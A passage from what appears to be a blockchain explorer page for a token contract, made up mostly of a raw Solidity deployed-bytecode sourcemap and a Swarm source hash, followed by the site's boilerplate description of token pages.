7dd1cf5d09b89487614fe0ab3aafdde75a578e04c3ec4fe040f997d64736f6c63430008190033

Deployed Bytecode Sourcemap

15185:137:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10165:22;;;;;;;;;;-1:-1:-1;10165:22:0;;;;-1:-1:-1;;;;;10165:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;10165:22:0;;;;;;;;10748:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;11729:160::-;;;;;;;;;;-1:-1:-1;11729:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;11729:160:0;1101:187:1;13346:108:0;;;;;;;;;;-1:-1:-1;13434:12:0;;13346:108;;;1439:25:1;;;1427:2;1412:18;13346:108:0;1293:177:1;10119:17:0;;;;;;;;;;-1:-1:-1;10119:17:0;;;;;;;;11299:422;;;;;;;;;;-1:-1:-1;11299:422:0;;;;;:::i;:::-;;:::i;10856:93::-;;;;;;;;;;-1:-1:-1;10856:93:0;;10939:2;2078:36:1;;2066:2;2051:18;10856:93:0;1936:184:1;10138:25:0;;;;;;;;;;;;;;;;12251:130;;;;;;;;;;-1:-1:-1;12251:130:0;;;;;:::i;:::-;;:::i;13211:127::-;;;;;;;;;;-1:-1:-1;13211:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;13312:18:0;13285:7;13312:18;;;:9;:18;;;;;;;13211:127;9499:148;;;;;;;;;;;;;:::i;:::-;;12389:93;;;;;;;;;;-1:-1:-1;12389:93:0;;;;;:::i;:::-;;:::i;9285:79::-;;;;;;;;;;-1:-1:-1;9350:6:0;;-1:-1:-1;;;;;9350:6:0;9285:79;;10636:104;;;;;;;;;;;;;:::i;10194:25::-;;;;;;;;;;-1:-1:-1;10194:25:0;;;;-1:-1:-1;;;;;10194:25:0;;;9984:19;;;;;;;;;;-1:-1:-1;9984:19:0;;;;-1:-1:-1;;;;;9984:19:0;;;11116:175;;;;;;;;;;-1:-1:-1;11116:175:0;;;;;:::i;:::-;;:::i;10957:151::-;;;;;;;;;;-1:-1:-1;10957:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;11073:18:0;;;11046:7;11073:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10957:151;12490:713;;;:::i;10748:100::-;10802:13;10835:5;10828:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10748:100;:::o;11729:160::-;11803:4;11820:39;7414:10;11843:7;11852:6;11820:8;:39::i;:::-;-1:-1:-1;11877:4:0;11729:160;;;;;:::o;11299:422::-;11405:4;11422:36;11432:6;11440:9;11451:6;11422:9;:36::i;:::-;-1:-1:-1;;;;;11498:19:0;;11471:24;11498:19;;;:11;:19;;;;;;;;7414:10;11498:33;;;;;;;;11550:26;;;;11542:79;;;;-1:-1:-1;;;11542:79:0;;6403:2:1;11542:79:0;;;6385:21:1;6442:2;6422:18;;;6415:30;6481:34;6461:18;;;6454:62;-1:-1:-1;;;6532:18:1;;;6525:38;6580:19;;11542:79:0;;;;;;;;;11632:57;11641:6;7414:10;11663:25;11682:6;11663:16;:25;:::i;:::-;11632:8;:57::i;:::-;11709:4;11702:11;;;11299:422;;;;;;:::o;12251:130::-;9412:6;;12361:10;;-1:-1:-1;;;;;9412:6:0;7414:10;9412:22;9404:67;;;;-1:-1:-1;;;9404:67:0;;;;;;;:::i;9499:148::-;9412:6;;-1:-1:-1;;;;;9412:6:0;7414:10;9412:22;9404:67;;;;-1:-1:-1;;;9404:67:0;;;;;;;:::i;:::-;9590:6:::1;::::0;9569:40:::1;::::0;9606:1:::1;::::0;-1:-1:-1;;;;;9590:6:0::1;::::0;9569:40:::1;::::0;9606:1;;9569:40:::1;9620:6;:19:::0;;-1:-1:-1;;;;;;9620:19:0::1;::::0;;9499:148::o;12389:93::-;9412:6;;12463:9;;-1:-1:-1;;;;;9412:6:0;7414:10;9412:22;9404:67;;;;-1:-1:-1;;;9404:67:0;;;;;;;:::i;10636:104::-;10692:13;10725:7;10718:14;;;;;:::i;11116:175::-;11202:4;11219:42;7414:10;11243:9;11254:6;11219:9;:42::i;12490:713::-;9350:6;;-1:-1:-1;;;;;9350:6:0;12546:10;:21;:41;;;;-1:-1:-1;12572:5:0;;;;:14;12546:41;12537:88;;;;-1:-1:-1;;;12537:88:0;;;;;;;:::i;:::-;12662:7;;12638:45;;12655:4;;-1:-1:-1;;;;;12662:7:0;-1:-1:-1;;12638:8:0;:45::i;:::-;12696:21;12735:5;12720:12;;:20;;;;:::i;:::-;:36;;12744:11;12720:36;:::i;:::-;12785:4;12767:24;;;;:9;:24;;;;;:41;;12696:60;;-1:-1:-1;12696:60:0;;12767:24;;;:41;;12696:60;;12767:41;:::i;:::-;;;;-1:-1:-1;;12829:10:0;12819:21;;;;:9;:21;;;;;:38;;12844:13;;12819:21;:38;;12844:13;;12819:38;:::i;:::-;;;;-1:-1:-1;;12873:50:0;;1439:25:1;;;12902:4:0;;12882:10;;12873:50;;1427:2:1;1412:18;12873:50:0;;;;;;;12955:6;;;;;;;;;-1:-1:-1;;;;;12955:6:0;-1:-1:-1;;;;;12955:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12984:4;;;12943:61;;-1:-1:-1;;;12943:61:0;;-1:-1:-1;;;;;12984:4:0;;;12943:61;;;8229:34:1;;;;12998:4:0;8279:18:1;;;8272:43;12943:40:0;;;;;;;8164:18:1;;12943:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12936:4;:68;;-1:-1:-1;;;;;12936:68:0;;;-1:-1:-1;;;;;;12936:68:0;;;;;;13015:6;;;:22;13045:9;13064:4;13071:13;;13045:9;13112:7;9350:6;;-1:-1:-1;;;;;9350:6:0;;9285:79;13112:7;13121:21;:15;13139:3;13121:21;:::i;:::-;13015:128;;;;;;-1:-1:-1;;;;;;13015:128:0;;;-1:-1:-1;;;;;8669:15:1;;;13015:128:0;;;8651:34:1;8701:18;;;8694:34;;;;8744:18;;;8737:34;;;;8787:18;;;8780:34;;;;8851:15;;;8830:19;;;8823:44;8883:19;;;8876:35;;;;8585:19;;13015:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;13156:5:0;:12;;-1:-1:-1;;13156:12:0;13164:4;13156:12;;;-1:-1:-1;;13183:12:0;13170:10;:25;12490:713::o;11897:346::-;-1:-1:-1;;;;;11999:19:0;;11991:68;;;;-1:-1:-1;;;11991:68:0;;9435:2:1;11991:68:0;;;9417:21:1;9474:2;9454:18;;;9447:30;9513:34;9493:18;;;9486:62;-1:-1:-1;;;9564:18:1;;;9557:34;9608:19;;11991:68:0;9233:400:1;11991:68:0;-1:-1:-1;;;;;12078:21:0;;12070:68;;;;-1:-1:-1;;;12070:68:0;;9840:2:1;12070:68:0;;;9822:21:1;9879:2;9859:18;;;9852:30;9918:34;9898:18;;;9891:62;-1:-1:-1;;;9969:18:1;;;9962:32;10011:19;;12070:68:0;9638:398:1;12070:68:0;-1:-1:-1;;;;;12151:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12203:32;;1439:25:1;;;12203:32:0;;1412:18:1;12203:32:0;;;;;;;;11897:346;;;:::o;14039:586::-;14137:7;:16;;-1:-1:-1;;;;;14137:16:0;;;-1:-1:-1;;;;;;14137:16:0;;;;;;;14155:10;:22;;;;;;;;;;;;;;;14200:5;;;;:13;;14137:16;14200:13;;14199:45;;-1:-1:-1;14219:7:0;;-1:-1:-1;;;;;14219:7:0;14238:4;14219:24;14199:45;:69;;;-1:-1:-1;9350:6:0;;14249:7;;-1:-1:-1;;;;;14249:7:0;;;9350:6;;14249:18;14199:69;14190:117;;;;-1:-1:-1;;;14190:117:0;;10243:2:1;14190:117:0;;;10225:21:1;10282:2;10262:18;;;10255:30;10321:34;10301:18;;;10294:62;-1:-1:-1;;;10372:18:1;;;10365:31;10413:19;;14190:117:0;10041:397:1;14190:117:0;14326:7;;-1:-1:-1;;;;;14326:7:0;14318:71;;;;-1:-1:-1;;;14318:71:0;;10645:2:1;14318:71:0;;;10627:21:1;10684:2;10664:18;;;10657:30;10723:34;10703:18;;;10696:62;-1:-1:-1;;;10774:18:1;;;10767:35;10819:19;;14318:71:0;10443:401:1;14318:71:0;-1:-1:-1;;;;;14408:23:0;;14400:71;;;;-1:-1:-1;;;14400:71:0;;11051:2:1;14400:71:0;;;11033:21:1;11090:2;11070:18;;;11063:30;11129:34;11109:18;;;11102:62;-1:-1:-1;;;11180:18:1;;;11173:33;11223:19;;14400:71:0;10849:399:1;14400:71:0;14484:33;14502:6;14510;14484:17;:33::i;:::-;-1:-1:-1;;;;;;14530:20:0;;;;;;:9;:20;;;;;:30;;14554:6;;14530:20;:30;;14554:6;;14530:30;:::i;:::-;;;;;;;;14597:9;-1:-1:-1;;;;;14580:35:0;14589:6;-1:-1:-1;;;;;14580:35:0;;14608:6;14580:35;;;;1439:25:1;;1427:2;1412:18;;1293:177;13470:561:0;13547:14;13624:4;13618:11;-1:-1:-1;;;13654:4:0;13647:80;13769:6;13762:4;13756;13752:15;13745:31;13817:4;13811;13807:15;13801:4;13794:29;13902:4;13896;13890;13884;13881:1;13874:4;13868:11;13861:5;13856:51;13928:7;13925:36;;;13954:4;13948:11;13938:21;;13925:36;-1:-1:-1;14008:15:0;;-1:-1:-1;14017:6:0;14008;:15;:::i;:::-;-1:-1:-1;;;;;13988:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;13470:561:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:315::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;781:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;2125:127::-;2186:10;2181:3;2177:20;2174:1;2167:31;2217:4;2214:1;2207:15;2241:4;2238:1;2231:15;2257:275;2328:2;2322:9;2393:2;2374:13;;-1:-1:-1;;2370:27:1;2358:40;;2428:18;2413:34;;2449:22;;;2410:62;2407:88;;;2475:18;;:::i;:::-;2511:2;2504:22;2257:275;;-1:-1:-1;2257:275:1:o;2537:183::-;2597:4;2630:18;2622:6;2619:30;2616:56;;;2652:18;;:::i;:::-;-1:-1:-1;2697:1:1;2693:14;2709:4;2689:25;;2537:183::o;2725:743::-;2779:5;2832:3;2825:4;2817:6;2813:17;2809:27;2799:55;;2850:1;2847;2840:12;2799:55;2886:6;2873:20;2912:4;2936:60;2952:43;2992:2;2952:43;:::i;:::-;2936:60;:::i;:::-;3018:3;3042:2;3037:3;3030:15;3070:4;3065:3;3061:14;3054:21;;3127:4;3121:2;3118:1;3114:10;3106:6;3102:23;3098:34;3084:48;;3155:3;3147:6;3144:15;3141:35;;;3172:1;3169;3162:12;3141:35;3208:4;3200:6;3196:17;3222:217;3238:6;3233:3;3230:15;3222:217;;;3318:3;3305:17;3335:31;3360:5;3335:31;:::i;:::-;3379:18;;3417:12;;;;3255;;3222:217;;;-1:-1:-1;3457:5:1;2725:743;-1:-1:-1;;;;;;2725:743:1:o;3473:160::-;3538:20;;3594:13;;3587:21;3577:32;;3567:60;;3623:1;3620;3613:12;3567:60;3473:160;;;:::o;3638:1208::-;3762:6;3770;3778;3831:2;3819:9;3810:7;3806:23;3802:32;3799:52;;;3847:1;3844;3837:12;3799:52;3887:9;3874:23;3916:18;3957:2;3949:6;3946:14;3943:34;;;3973:1;3970;3963:12;3943:34;4011:6;4000:9;3996:22;3986:32;;4056:7;4049:4;4045:2;4041:13;4037:27;4027:55;;4078:1;4075;4068:12;4027:55;4114:2;4101:16;4136:4;4160:60;4176:43;4216:2;4176:43;:::i;4160:60::-;4254:15;;;4336:1;4332:10;;;;4324:19;;4320:28;;;4285:12;;;;4360:19;;;4357:39;;;4392:1;4389;4382:12;4357:39;4416:11;;;;4436:142;4452:6;4447:3;4444:15;4436:142;;;4518:17;;4506:30;;4469:12;;;;4556;;;;4436:142;;;4597:5;-1:-1:-1;;4640:18:1;;4627:32;;-1:-1:-1;;4671:16:1;;;4668:36;;;4700:1;4697;4690:12;4668:36;;4723:63;4778:7;4767:8;4756:9;4752:24;4723:63;:::i;:::-;4713:73;;;4805:35;4836:2;4825:9;4821:18;4805:35;:::i;:::-;4795:45;;3638:1208;;;;;:::o;4851:247::-;4910:6;4963:2;4951:9;4942:7;4938:23;4934:32;4931:52;;;4979:1;4976;4969:12;4931:52;5018:9;5005:23;5037:31;5062:5;5037:31;:::i;5103:315::-;5168:6;5176;5229:2;5217:9;5208:7;5204:23;5200:32;5197:52;;;5245:1;5242;5235:12;5197:52;5284:9;5271:23;5303:31;5328:5;5303:31;:::i;:::-;5353:5;-1:-1:-1;5377:35:1;5408:2;5393:18;;5377:35;:::i;:::-;5367:45;;5103:315;;;;;:::o;5423:388::-;5491:6;5499;5552:2;5540:9;5531:7;5527:23;5523:32;5520:52;;;5568:1;5565;5558:12;5520:52;5607:9;5594:23;5626:31;5651:5;5626:31;:::i;:::-;5676:5;-1:-1:-1;5733:2:1;5718:18;;5705:32;5746:33;5705:32;5746:33;:::i;:::-;5798:7;5788:17;;;5423:388;;;;;:::o;5816:380::-;5895:1;5891:12;;;;5938;;;5959:61;;6013:4;6005:6;6001:17;5991:27;;5959:61;6066:2;6058:6;6055:14;6035:18;6032:38;6029:161;;6112:10;6107:3;6103:20;6100:1;6093:31;6147:4;6144:1;6137:15;6175:4;6172:1;6165:15;6029:161;;5816:380;;;:::o;6610:127::-;6671:10;6666:3;6662:20;6659:1;6652:31;6702:4;6699:1;6692:15;6726:4;6723:1;6716:15;6742:128;6809:9;;;6830:11;;;6827:37;;;6844:18;;:::i;6875:356::-;7077:2;7059:21;;;7096:18;;;7089:30;7155:34;7150:2;7135:18;;7128:62;7222:2;7207:18;;6875:356::o;7236:217::-;7276:1;7302;7292:132;;7346:10;7341:3;7337:20;7334:1;7327:31;7381:4;7378:1;7371:15;7409:4;7406:1;7399:15;7292:132;-1:-1:-1;7438:9:1;;7236:217::o;7458:168::-;7531:9;;;7562;;7579:15;;;7573:22;;7559:37;7549:71;;7600:18;;:::i;7631:125::-;7696:9;;;7717:10;;;7714:36;;;7730:18;;:::i;7761:251::-;7831:6;7884:2;7872:9;7863:7;7859:23;7855:32;7852:52;;;7900:1;7897;7890:12;7852:52;7932:9;7926:16;7951:31;7976:5;7951:31;:::i;8922:306::-;9010:6;9018;9026;9079:2;9067:9;9058:7;9054:23;9050:32;9047:52;;;9095:1;9092;9085:12;9047:52;9124:9;9118:16;9108:26;;9174:2;9163:9;9159:18;9153:25;9143:35;;9218:2;9207:9;9203:18;9197:25;9187:35;;8922:306;;;;;:::o

Swarm Source

ipfs://ccf905ce67dd1cf5d09b89487614fe0ab3aafdde75a578e04c3ec4fe040f997d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.